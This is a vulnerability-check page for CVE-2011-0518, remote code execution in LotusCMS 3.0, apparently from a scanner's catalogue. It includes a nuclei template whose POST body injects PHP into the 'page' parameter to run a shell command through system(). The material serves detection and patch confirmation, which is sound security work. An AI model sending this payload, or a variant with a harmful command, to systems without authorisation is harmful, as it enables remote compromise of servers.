LotusCMS 3.0 - Remote Code Execution

criticalseverity

10CVSS score

15.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution.

Impact

Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise.

Fix

Enable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise.

How to confirm it

Send: POST {{BaseURL}}/index.php ; POST {{BaseURL}}/lcms/index.php
Positive when: contains "38ee63071a04dc5e04ed22624c38e648" AND status 200

Run it with nuclei: nuclei -id CVE-2011-0518 -u <target>

The full check

id: CVE-2011-0518

info:
  name: LotusCMS 3.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution.
  impact: |
    Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise.
  remediation: |
    Enable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise.
  reference:
    - https://github.com/Hood3dRob1n/LotusCMS-Exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2011-0518
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2011-0518
    epss-score: 0.15833
    epss-percentile: 0.96905
    cwe-id: CWE-77
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2011,lotuscms,rce,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php"
      - "{{BaseURL}}/lcms/index.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      page=index');${system('echo lotuscms_rce | md5sum')};#

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "38ee63071a04dc5e04ed22624c38e648"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from